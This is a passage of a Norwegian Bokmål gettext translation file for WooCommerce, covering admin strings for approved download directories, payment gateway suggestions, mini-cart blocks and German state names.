msgstr "Synkronisering av godkjente nedlastingsmapper: Fullført pulje %1$d (%2$d%% fullført)."
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:144
msgid "Approved Download Directories sync: scan is complete!"
msgstr "Synkronisering av godkjente nedlastingsmapper: Skanningen er fullført."
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:128
msgid "Approved Download Directories sync: new scan scheduled."
msgstr "Godkjent synkronisering av nedlastingskataloger: ny skanning er planlagt."
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:122
msgid "Synchronization of approved product download directories is already in progress."
msgstr "Synkronisering av godkjente produktnedlastingskataloger pågår allerede."
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:95
msgid "It was not possible to synchronize download directories following the most recent update."
msgstr "Det var ikke mulig å synkronisere nedlastingskataloger etter den siste oppdateringen."
#: src/Internal/ProductDownloads/ApprovedDirectories/Register.php:289
msgid "Approved directory URLs cannot be longer than 256 characters."
msgstr "Godkjente nettadresser for mapper kan ikke være lengre enn 256 tegn."
#: src/Internal/ProductDownloads/ApprovedDirectories/Register.php:163
msgid "URL could not be updated (probable database error)."
msgstr "Nettadressen kunne ikke oppdateres (sannsynlig databasefeil)."
#: src/Internal/ProductDownloads/ApprovedDirectories/Register.php:130
msgid "URL could not be added (probable database error)."
msgstr "Nettadressen kunne ikke legges til (sannsynlig databasefeil)."
#. translators: %s is the submitted URL.
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:447
msgid "\"%s\" could not be saved. Please review, ensure it is a valid URL and try again."
msgstr "«%s» kunne ikke lagres. Se gjennom, sørg for at det er en gyldig nettadresse og prøv igjen."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:440
msgid "URL was successfully updated."
msgstr "Nettadresse ble oppdatert."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:436
msgid "URL was successfully added."
msgstr "Nettadresse ble lagt til."
#. translators: %d: count
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:429
msgid "%d URL could not be updated."
msgid_plural "%d URLs could not be updated."
msgstr[0] "%d nettadresse kunne ikke oppdateres."
msgstr[1] "%d nettadresser kunne ikke oppdateres."
#. translators: %d: count
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:419
msgid "%d approved directory URL disabled."
msgid_plural "%d approved directory URLs disabled."
msgstr[0] "%d godkjent mappenettadresse er slått av."
msgstr[1] "%d godkjente mappenettadresser er slått av."
#. translators: %d: count
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:411
msgid "%d approved directory URL enabled."
msgid_plural "%d approved directory URLs enabled."
msgstr[0] "%d godkjent nettadresse for mappe slått på."
msgstr[1] "%d godkjente nettadresser for mapper slått på."
#. translators: %d: count
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:403
msgid "%d approved directory URL deleted."
msgid_plural "%d approved directory URLs deleted."
msgstr[0] "%d godkjent nettadresse for mappe slettet."
msgstr[1] "%d godkjente nettadresser for mapper slettet."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:366
msgctxt "Approved product download directories"
msgid "Directory URL"
msgstr "Katalogens nettadresse"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:346
msgid "Add New Approved Directory"
msgstr "Legg til ny godkjent katalog"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:345
msgid "Edit Approved Directory"
msgstr "Rediger godkjent katalog"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:339
msgctxt "Approved product download directories"
msgid "The provided ID was invalid."
msgstr "Den oppgitte id-en var ugyldig."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:322
msgid "Approved Download Directories"
msgstr "Godkjente nedlastingsmapper"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:318
msgctxt "Approved product download directories"
msgid "Start Enforcing Rules"
msgstr "Begynn å håndheve regler"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:317
msgctxt "Approved product download directories"
msgid "Stop Enforcing Rules"
msgstr "Slutt å håndheve regler"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:100
msgctxt "Approved Directory URLs"
msgid "Search"
msgstr "Søk"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:62
msgid "Approved download directories"
msgstr "Godkjente nedlastingsmapper"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:274
msgctxt "Approved product download directories"
msgid "Disable All"
msgstr "Slå av alle"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:270
msgctxt "Approved product download directories"
msgid "Enable All"
msgstr "Slå på alle"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:214
msgid "Disable rule"
msgstr "Slå av regel"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:213
msgid "Enable rule"
msgstr "Slå på regel"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:179
msgctxt "Product downloads list"
msgid "Delete permanently"
msgstr "Slett permanent"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:177
msgctxt "Product downloads list"
msgid "Edit"
msgstr "Rediger"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:146
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:374
msgctxt "Approved product download directories"
msgid "Enabled"
msgstr "Slått på"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:145
msgctxt "Approved product download directories"
msgid "URL"
msgstr "Nettadresse"
#. translators: %s is the count of disabled directory list entries.
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:110
msgctxt "Approved product download directory views"
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "Slått av <span class=\"count\">(%s)</span>"
msgstr[1] "Slått av <span class=\"count\">(%s)</span>"
#. translators: %s is the count of enabled approved directory list entries.
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:96
msgctxt "Approved product download directory views"
msgid "Enabled <span class=\"count\">(%s)</span>"
msgid_plural "Enabled <span class=\"count\">(%s)</span>"
msgstr[0] "Slått på <span class=\"count\">(%s)</span>"
msgstr[1] "Slått på <span class=\"count\">(%s)</span>"
#. translators: %s is the count of approved directory list entries.
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:82
msgctxt "Approved product download directory views"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "All <span class=\"count\">(%s)</span>"
msgstr[1] "Alle <span class=\"count\">(%s)</span>"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:63
msgid "No approved directory URLs found."
msgstr "Fant ingen godkjente nettadresser for mapper."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:119
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:459
msgid "You do not have permission to modify the list of approved directories for product downloads."
msgstr "Du har ikke tillatelse til å endre listen over godkjente kataloger for produktnedlastinger."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:110
msgid "Approved Download Directories sync: scan has been cancelled."
msgstr "Synkronisering av godkjente nedlastingsmapper: Skanningen er avbrutt."
#. translators: %d is an integer between 0-100 representing the percentage
#. complete of the current scan.
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:78
msgid "The Approved Product Download Directories list is currently being synchronized with the product catalog (%d%% complete). If you need to, you can cancel it."
msgstr "Listen over godkjente produktnedlastingskataloger blir for øyeblikket synkronisert med produktkatalogen (%d%% gjort). Hvis du trenger det, kan du avbryte det."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:75
msgid "Cancel synchronization of approved directories"
msgstr "Avbryt synkronisering av godkjente kataloger"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:67
msgid "Removes all existing entries from the Approved Product Download Directories list."
msgstr "Fjerner alle eksisterende oppføringer fra listen Godkjente produktnedlastingskataloger."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:66
msgid "Empty the approved download directories list"
msgstr "Tøm listen over godkjente nedlastingsmapper"
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:59
msgid "Updates the list of Approved Product Download Directories. Note that triggering this tool does not impact whether the Approved Download Directories list is enabled or not."
msgstr "Oppdaterer listen over godkjente nedlastingsmapper for produkter. Merk at utløsing av dette verktøyet ikke påvirker om listen «Godkjente nedlastingsmapper» er aktivert eller ikke."
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:58
msgid "Synchronize approved download directories"
msgstr "Synkroniser godkjente nedlastingsmapper"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:679
msgid "There are orders pending sync."
msgstr "Det er ordrer som venter på synkronisering."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:179
msgid "Get your products in front of Pinterest users searching for ideas and things to buy. Get started with Pinterest and make your entire product catalog browsable."
msgstr "Vis produktene dine for Pinterest-brukere som søker etter ideer og ting å kjøpe. Kom i gang med Pinterest og gjør hele produktkatalogen din lesbar."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:169
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:178
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Pinterest for WooCommerce"
msgstr "Pinterest for WooCommerce"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:59
msgid "Affirm’s tailored Buy Now Pay Later programs remove price as a barrier, turning browsers into buyers, increasing average order value, and expanding your customer base."
msgstr "Affirms skreddersydde Buy Now Pay Later-programmer fjerner prisen som en barriere, gjør nettlesere til kjøpere, øker den gjennomsnittlige ordreverdien og utvider kundebasen din."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:58
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3876
#: assets/client/admin/chunks/wcpay-payment-welcome-page.js:1
msgid "Affirm"
msgstr "Affirm"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:131
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3843
msgid "Enable a familiar, fast checkout for hundreds of millions of active Amazon customers globally."
msgstr "Slå på en kjent, rask utsjekking for hundrevis av millioner av aktive Amazon-kunder globalt."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:130
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3842
#: assets/client/admin/chunks/wcpay-payment-welcome-page.js:1
msgid "Amazon Pay"
msgstr "Amazon Pay"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:88
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3911
msgid "Afterpay allows customers to receive products immediately and pay for purchases over four installments, always interest-free."
msgstr "Afterpay lar kundene motta produkter umiddelbart og betale for kjøp over fire avdrag, alltid rentefritt."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:87
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3910
msgid "Afterpay"
msgstr "Afterpay"
#: src/Admin/Features/OnboardingTasks/Tasks/StoreDetails.php:29
msgid "You added store details"
msgstr "Du har lagt til butikkdetaljer"
#. translators: Store name
#: src/Admin/Features/OnboardingTasks/Tasks/StoreCreation.php:29
msgid "You created %s"
msgstr "Du opprettet %s"
#: src/Admin/API/PaymentGatewaySuggestions.php:179
msgid "Gateway title."
msgstr "Port-tittel."
#: src/Admin/API/PaymentGatewaySuggestions.php:173
msgid "Priority of recommendation."
msgstr "Prioritering av anbefaling."
#: src/Admin/API/PaymentGatewaySuggestions.php:167
msgid "Array of plugin slugs."
msgstr "Rekke med utvidelsesidentifikatorer."
#: src/Admin/API/PaymentGatewaySuggestions.php:161
#: src/Admin/API/ShippingPartnerSuggestions.php:185
msgid "Suggestion visibility."
msgstr "Synlighet for forslag."
#: src/Admin/API/PaymentGatewaySuggestions.php:155
msgid "Gateway image."
msgstr "Port-bilde."
#: src/Admin/API/PaymentGatewaySuggestions.php:149
msgid "Suggestion ID."
msgstr "Forslags-id."
#: src/Admin/API/PaymentGatewaySuggestions.php:143
msgid "Suggestion description."
msgstr "Forslagsbeskrivelse."
#: src/Admin/API/Experiments.php:65
msgid "Sorry, experiment_name is required."
msgstr "Beklager, experiment_name kreves."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2100
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:64
msgid "Only show meta which is meant to be displayed for an order."
msgstr "Vis kun meta som er ment å vises for en ordre."
#. translators: %s: Downloadable file.
#: includes/class-wc-product-download.php:114
msgid "The downloadable file %s cannot be used as it has been disabled."
msgstr "Den nedlastbare filen %s kan ikke brukes da den er slått av."
#: includes/class-wc-download-handler.php:694
msgid "Headers already sent when generating download error message."
msgstr "Hodelinjer er allerede sendt ved generering av nedlastingsfeilmelding."
#. translators: %1$s and %3$s are HTML (opening link tags). %2$s is also HTML
#. (closing link tag).
#: includes/admin/views/html-notice-download-dir-sync-complete.php:20
msgid "The %1$sApproved Product Download Directories list%2$s has been updated. To protect your site, please review the list and make any changes that might be required. For more information, please refer to %3$sthis guide%2$s."
msgstr "%1$sListen over godkjente produktnedlastingskataloger%2$s har blitt oppdatert. For å beskytte nettstedet ditt, gå gjennom listen og foreta eventuelle endringer som måtte være nødvendige. For mer informasjon, se %3$sdenne veiledningen%2$s."
#: includes/admin/views/html-admin-page-status-report.php:770
msgid "Is your site enforcing the use of Approved Product Download Directories?"
msgstr "Krever nettstedet ditt bruk av godkjente produktnedlastingskataloger?"
#: includes/admin/views/html-admin-page-status-report.php:769
msgid "Enforce Approved Product Download Directories"
msgstr "Krev godkjente produktnedlastingskataloger"
#. translators: 1: opening link tag, 2: closing link tag.
#: includes/admin/meta-boxes/views/html-product-data-general.php:173
#: includes/admin/meta-boxes/views/html-variation-admin.php:501
msgid "The indicated downloads have been disabled (invalid location or filetype—%1$slearn more%2$s)."
msgstr "De angitte nedlastingene er slått av (ugyldig plassering eller filtype – %1$sles mer%2$s)."
#: includes/admin/class-wc-admin-assets.php:427
msgid "Are you sure you wish to delete this item?"
msgstr "Er du sikker på at du vil slette dette elementet?"
#. translators: 1: Order ID or "(no ID)" if not known.
#: includes/abstracts/abstract-wc-order.php:244
msgid "Error saving order ID %1$s."
msgstr "Feil under lagring av ordre-id %1$s."
#: includes/abstracts/abstract-wc-order.php:238
msgid "(no ID)"
msgstr "(ingen id)"
#: i18n/countries.php:229
msgid "Eswatini"
msgstr "Eswatini"
#: src/Internal/Admin/CustomerEffortScoreTracks.php:387
msgid "How easy was it to edit your product?"
msgstr "Hvor enkelt var det å redigere produktet?"
#: assets/client/blocks/inner-blocks/mini-cart-shopping-button-block/block.json
msgctxt "block description"
msgid "Block that displays the shopping button when the Mini-Cart is empty."
msgstr "Blokk som viser handleknappen når minihandlekurven er tom."
#: assets/client/blocks/inner-blocks/mini-cart-shopping-button-block/block.json
msgctxt "block title"
msgid "Mini-Cart Shopping Button"
msgstr "Kjøp-knapp for minihandlekurv"
#: src/Blocks/BlockTypes/MiniCartShoppingButtonBlock.php:44
#: assets/client/blocks/mini-cart-contents-block/shopping-button-frontend.js:1
#: assets/client/blocks/mini-cart-contents.js:13
msgid "Start shopping"
msgstr "Start å handle"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:300
msgid "Custom orders tables have been deleted."
msgstr "Egendefinerte ordretabeller er slettet."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:286
msgid "Delete the custom orders tables"
msgstr "Slett de egendefinerte ordretabellene"
#: src/StoreApi/Routes/V1/AbstractCartRoute.php:302
msgid "Nonce is invalid."
msgstr "Nonce er ugyldig."
#: src/StoreApi/Routes/V1/AbstractCartRoute.php:298
msgid "Missing the Nonce header. This endpoint requires a valid nonce."
msgstr "Mangler Nonce-headeren. Dette endepunktet krever en gyldig nonce."
#: src/Admin/API/Plugins.php:372
msgid "Plugin activation has been scheduled."
msgstr "Aktivering av utvidelse er planlagt."
#: src/Admin/API/Plugins.php:258
msgid "Plugin installation has been scheduled."
msgstr "Installasjon av utvidelse er planlagt."
#: src/Admin/API/OnboardingTasks.php:114 src/Admin/API/OnboardingTasks.php:705
msgid "Optional parameter to get only specific task lists by id."
msgstr "Valgfri parameter for å få bare spesifikke oppgavelister etter id."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1689
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1695
msgid "Shows if the product needs to be configured before it can be bought."
msgstr "Viser om produktet må konfigureres før det kan kjøpes."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2028
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:497
msgid "Order payment URL."
msgstr "Nettadresse for ordrebetaling."
#: src/StoreApi/Schemas/V1/ProductSchema.php:497
msgid "The maximum quantity that can be added to the cart."
msgstr "Det maksimale antallet som kan legges i handlekurven."
#: src/StoreApi/Schemas/V1/ProductSchema.php:491
msgid "The minimum quantity that can be added to the cart."
msgstr "Minimumsmengden som kan legges i handlekurven."
#. translators: 1: email address, 2: order ID .
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-pdt-handler.php:152
msgid "Received PDT notification for another account: %1$s. Order ID: %2$d."
msgstr "Mottok PDT-varsel for en annen konto: %1$s. Ordre-id: %2$d."
#. translators: 1: order ID, 2: order ID.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-pdt-handler.php:146
msgid "Received PDT notification for order %1$d on endpoint for order %2$d."
msgstr "Mottok PDT-varsel for ordre %1$d på endepunkt for ordre %2$d."
#: assets/client/blocks/accordion-group/block.json
#: assets/client/blocks/accordion-header/block.json
#: assets/client/blocks/accordion-item/block.json
#: assets/client/blocks/accordion-panel/block.json
#: assets/client/blocks/active-filters/block.json
#: assets/client/blocks/add-to-cart-form/block.json
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item-label/block.json
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item-selector/block.json
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item/block.json
#: assets/client/blocks/add-to-cart-with-options-grouped-product-selector/block.json
#: assets/client/blocks/add-to-cart-with-options-quantity-selector/block.json
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute-name/block.json
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute-options/block.json
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute/block.json
#: assets/client/blocks/add-to-cart-with-options-variation-selector/block.json
#: assets/client/blocks/all-products/block.json
#: assets/client/blocks/all-reviews/block.json
#: assets/client/blocks/attribute-filter/block.json
#: assets/client/blocks/breadcrumbs/block.json
#: assets/client/blocks/cart-link/block.json
#: assets/client/blocks/catalog-sorting/block.json
#: assets/client/blocks/checkout/block.json
#: assets/client/blocks/classic-shortcode/block.json
#: assets/client/blocks/customer-account/block.json
#: assets/client/blocks/featured-category/block.json
#: assets/client/blocks/featured-product/block.json
#: assets/client/blocks/filter-wrapper/block.json
#: assets/client/blocks/handpicked-products/block.json
#: assets/client/blocks/mini-cart/block.json
#: assets/client/blocks/order-confirmation-additional-fields-wrapper/block.json
#: assets/client/blocks/order-confirmation-additional-fields/block.json
#: assets/client/blocks/order-confirmation-additional-information/block.json
#: assets/client/blocks/order-confirmation-billing-address/block.json
#: assets/client/blocks/order-confirmation-billing-wrapper/block.json
#: assets/client/blocks/order-confirmation-create-account/block.json
#: assets/client/blocks/order-confirmation-downloads-wrapper/block.json
#: assets/client/blocks/order-confirmation-downloads/block.json
#: assets/client/blocks/order-confirmation-shipping-address/block.json
#: assets/client/blocks/order-confirmation-shipping-wrapper/block.json
#: assets/client/blocks/order-confirmation-status/block.json
#: assets/client/blocks/order-confirmation-summary/block.json
#: assets/client/blocks/order-confirmation-totals-wrapper/block.json
#: assets/client/blocks/order-confirmation-totals/block.json
#: assets/client/blocks/page-content-wrapper/block.json
#: assets/client/blocks/price-filter/block.json
#: assets/client/blocks/product-average-rating/block.json
#: assets/client/blocks/product-best-sellers/block.json
#: assets/client/blocks/product-button/block.json
#: assets/client/blocks/product-categories/block.json
#: assets/client/blocks/product-category/block.json
#: assets/client/blocks/product-collection/block.json
#: assets/client/blocks/product-filter-active/block.json
#: assets/client/blocks/product-filter-attribute/block.json
#: assets/client/blocks/product-filter-checkbox-list/block.json
#: assets/client/blocks/product-filter-chips/block.json
#: assets/client/blocks/product-filter-clear-button/block.json
#: assets/client/blocks/product-filter-price-slider/block.json
#: assets/client/blocks/product-filter-price/block.json
#: assets/client/blocks/product-filter-removable-chips/block.json
#: assets/client/blocks/product-filter-status/block.json
#: assets/client/blocks/product-filter-taxonomy/block.json
#: assets/client/blocks/product-filters/block.json
#: assets/client/blocks/product-gallery-large-image-next-previous/block.json
#: assets/client/blocks/product-gallery-large-image/block.json
#: assets/client/blocks/product-gallery-thumbnails/block.json
#: assets/client/blocks/product-gallery/block.json
#: assets/client/blocks/product-image-gallery/block.json
#: assets/client/blocks/product-image/block.json
#: assets/client/blocks/product-meta/block.json
#: assets/client/blocks/product-new/block.json
#: assets/client/blocks/product-on-sale/block.json
#: assets/client/blocks/product-price/block.json
#: assets/client/blocks/product-rating-counter/block.json
#: assets/client/blocks/product-rating-stars/block.json
#: assets/client/blocks/product-rating/block.json
#: assets/client/blocks/product-results-count/block.json
#: assets/client/blocks/product-sale-badge/block.json
#: assets/client/blocks/product-sku/block.json
#: assets/client/blocks/product-stock-indicator/block.json
#: assets/client/blocks/product-summary/block.json
#: assets/client/blocks/product-tag/block.json
#: assets/client/blocks/product-template/block.json
#: assets/client/blocks/product-top-rated/block.json
#: assets/client/blocks/products-by-attribute/block.json
#: assets/client/blocks/rating-filter/block.json
#: assets/client/blocks/related-products/block.json
#: assets/client/blocks/reviews-by-category/block.json
#: assets/client/blocks/reviews-by-product/block.json
#: assets/client/blocks/single-product/block.json
#: assets/client/blocks/stock-filter/block.json
#: assets/client/blocks/store-notices/block.json
msgctxt "block keyword"
msgid "WooCommerce"
msgstr "WooCommerce"
#: assets/client/blocks/checkout/block.json
msgctxt "block description"
msgid "Display a checkout form so your customers can submit orders."
msgstr "Vis et betalingsskjema slik at kundene dine kan sende inn ordre."
#: assets/client/blocks/checkout/block.json
msgctxt "block title"
msgid "Checkout"
msgstr "Kasse"
#: assets/client/blocks/inner-blocks/mini-cart-items-block/block.json
msgctxt "block description"
msgid "Contains the products table and other custom blocks of filled mini-cart."
msgstr "Inneholder produkttabellen og andre tilpassede blokker med fylt minihandlekurv."
#: assets/client/blocks/inner-blocks/mini-cart-items-block/block.json
msgctxt "block title"
msgid "Mini-Cart Items"
msgstr "Minihandlekurv varer"
#: src/Blocks/Domain/Services/CheckoutFields.php:668
msgid "Email address (optional)"
msgstr "E-postadresse (valgfritt)"
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:758
msgid "This means that the table is probably in an inconsistent state. It's recommended to run a new regeneration process or to resume the aborted process (Status - Tools - Regenerate the product attributes lookup table/Resume the product attributes lookup table regeneration) before enabling the table usage."
msgstr "Dette betyr at tabellen sannsynligvis er i en inkonstent tilstand. Det anbefales å kjøre en ny regenereringsprosess eller å gjenoppta den avbrutte prosessen (Status - Verktøy - Regenerer oppslagstabellen for produktattributter/Gjenoppta oppslagstabellen for produktattributter) før du slår på tabellbruken."
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:757
msgid "WARNING: The product attributes lookup table regeneration process was aborted."
msgstr "ADVARSEL: Regenereringsprosessen for produktattributter-oppslagstabellen ble avbrutt."
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:359
msgid "Resume"
msgstr "Fortsett"
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:357
msgid "Product attributes lookup table regeneration process has been resumed."
msgstr "Regenereringsprosessen for produktattributter for oppslagstabell er gjenopptatt."
#. translators: %1$s = count of products already processed.
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:351
msgid "This tool will resume the product attributes lookup table regeneration at the point in which it was aborted (%1$s products were already processed)."
msgstr "Dette verktøyet vil gjenoppta oppslagstabellen for produktattributter på det tidspunktet det ble avbrutt (%1$s produkter ble allerede behandlet)."
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:347
msgid "Resume the product attributes lookup table regeneration"
msgstr "Gjenoppta oppslagstabellen for produktattributter"
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:339
msgid "Product attributes lookup table regeneration process has been aborted."
msgstr "Regenereringsprosessen for oppslagstabell for produktattributter har blitt avbrutt."
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:335
msgid "This tool will abort the regenerate product attributes lookup table regeneration. After this is done the process can be either started over, or resumed to continue where it stopped."
msgstr "Dette verktøyet vil avbryte regenereringen av oppslagstabellen for produktattributter på nytt. Etter at dette er gjort kan prosessen enten startes på nytt eller gjenopptas for å fortsette der den stoppet."
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:334
msgid "Abort the product attributes lookup table regeneration"
msgstr "Avbryt regenereringen av oppslagstabellen for produktattributter"
#: src/StoreApi/Schemas/V1/ItemSchema.php:61
#: src/StoreApi/Schemas/V1/ProductSchema.php:503
msgid "The amount that quantities increment by. Quantity must be an multiple of this value."
msgstr "Mengden som antall øker med. Antall må være et multiplum av denne verdien."
#: src/StoreApi/Schemas/V1/ItemSchema.php:43
msgid "How the quantity of this item should be controlled, for example, any limits in place."
msgstr "Hvordan mengden av dette produktet skal kontrolleres, for eksempel eventuelle begrensninger på plass."
#: src/StoreApi/Routes/V1/CartAddItem.php:54
msgid "Quantity of this item to add to the cart."
msgstr "Antall av dette produktet å legge i handlekurven."
#: src/Internal/Admin/Notes/MagentoMigration.php:87
msgid "Changing platforms might seem like a big hurdle to overcome, but it is easier than you might think to move your products, customers, and orders to WooCommerce. This article will help you with going through this process."
msgstr "Å bytte plattform kan virke som en stor hindring å overkomme, men det er enklere enn du kanskje tror å flytte produktene, kundene og ordree dine til WooCommerce. Denne artikkelen vil hjelpe deg med å gå gjennom denne prosessen."
#: src/Internal/Admin/Notes/MagentoMigration.php:86
msgid "How to Migrate from Magento to WooCommerce"
msgstr "Hvordan migrere fra Magento til WooCommerce"
#: i18n/states.php:402
msgid "Thuringia"
msgstr "Thuringia"
#: i18n/states.php:401
msgid "Schleswig-Holstein"
msgstr "Schleswig-Holstein"
#: i18n/states.php:400
msgid "Saxony-Anhalt"
msgstr "Saxony-Anhalt"
#: i18n/states.php:399
msgid "Saxony"
msgstr "Saxony"
#: i18n/states.php:398
msgid "Saarland"
msgstr "Saarland"
#: i18n/states.php:397
msgid "Rhineland-Palatinate"
msgstr "Rhineland-Palatinate"
#: i18n/states.php:396
msgid "North Rhine-Westphalia"
msgstr "North Rhine-Westphalia"
#: i18n/states.php:395
msgid "Lower Saxony"
msgstr "Lower Saxony"
#: i18n/states.php:394
msgid "Mecklenburg-Vorpommern"
msgstr "Mecklenburg-Vorpommern"
#: i18n/states.php:393
msgid "Hesse"
msgstr "Hesse"
#: i18n/states.php:392
msgid "Hamburg"
msgstr "Hamburg"
#: i18n/states.php:391
msgid "Bremen"
msgstr "Bremen"
#: i18n/states.php:390
msgid "Brandenburg"
msgstr "Brandenburg"
#: i18n/states.php:389
msgid "Berlin"
msgstr "Berlin"
#: i18n/states.php:388
msgid "Bavaria"
msgstr "Bavaria"
#: i18n/states.php:387
msgid "Baden-Württemberg"
msgstr "Baden-Württemberg"
#: assets/client/blocks/inner-blocks/mini-cart-title-block/block.json
msgctxt "block description"
msgid "Block that displays the title of the Mini-Cart block."
msgstr "Blokk som viser tittelen på minihandlekurv-blokken."
#: assets/client/blocks/inner-blocks/mini-cart-title-block/block.json
msgctxt "block title"
msgid "Mini-Cart Title"
msgstr "Mini handlekurv tittel"
#: assets/client/blocks/inner-blocks/mini-cart-products-table-block/block.json
msgctxt "block description"
msgid "Block that displays the products table of the Mini-Cart block."
msgstr "Blokk som viser produkttabellen til minihandlekurv-blokken."
#: assets/client/blocks/inner-blocks/mini-cart-products-table-block/block.json
msgctxt "block title"
msgid "Mini-Cart Products Table"
msgstr "Minihandlekurv produkttabell"
#: assets/client/blocks/inner-blocks/mini-cart-footer-block/block.json
msgctxt "block description"
msgid "Block that displays the footer of the Mini-Cart block."
msgstr "Blokk som viser bunnteksten til minihandlekurv-blokken."
#: assets/client/blocks/inner-blocks/mini-cart-footer-block/block.json
msgctxt "block title"
msgid "Mini-Cart Footer"
msgstr "Bunntekst for minihandlekurv"
#: assets/client/blocks/inner-blocks/filled-mini-cart-contents-block/block.json
msgctxt "block title"
msgid "Filled Mini-Cart view"
msgstr "Fylt minhandlekurv-visning"
#: assets/client/blocks/inner-blocks/empty-mini-cart-contents-block/block.json
msgctxt "block description"
msgid "Blocks that are displayed when the Mini-Cart is empty."
msgstr "Blokker som vises når minihandlekurven er tom."
#: assets/client/blocks/inner-blocks/empty-mini-cart-contents-block/block.json
msgctxt "block title"
msgid "Empty Mini-Cart view"
msgstr "Visning av tom minikurv"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:54
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/multichannel-marketing.js:1
msgid "Built by WooCommerce"
msgstr "Laget av WooCommerce"
#: src/Internal/Admin/Notes/PaymentsRemindMeLater.php:66
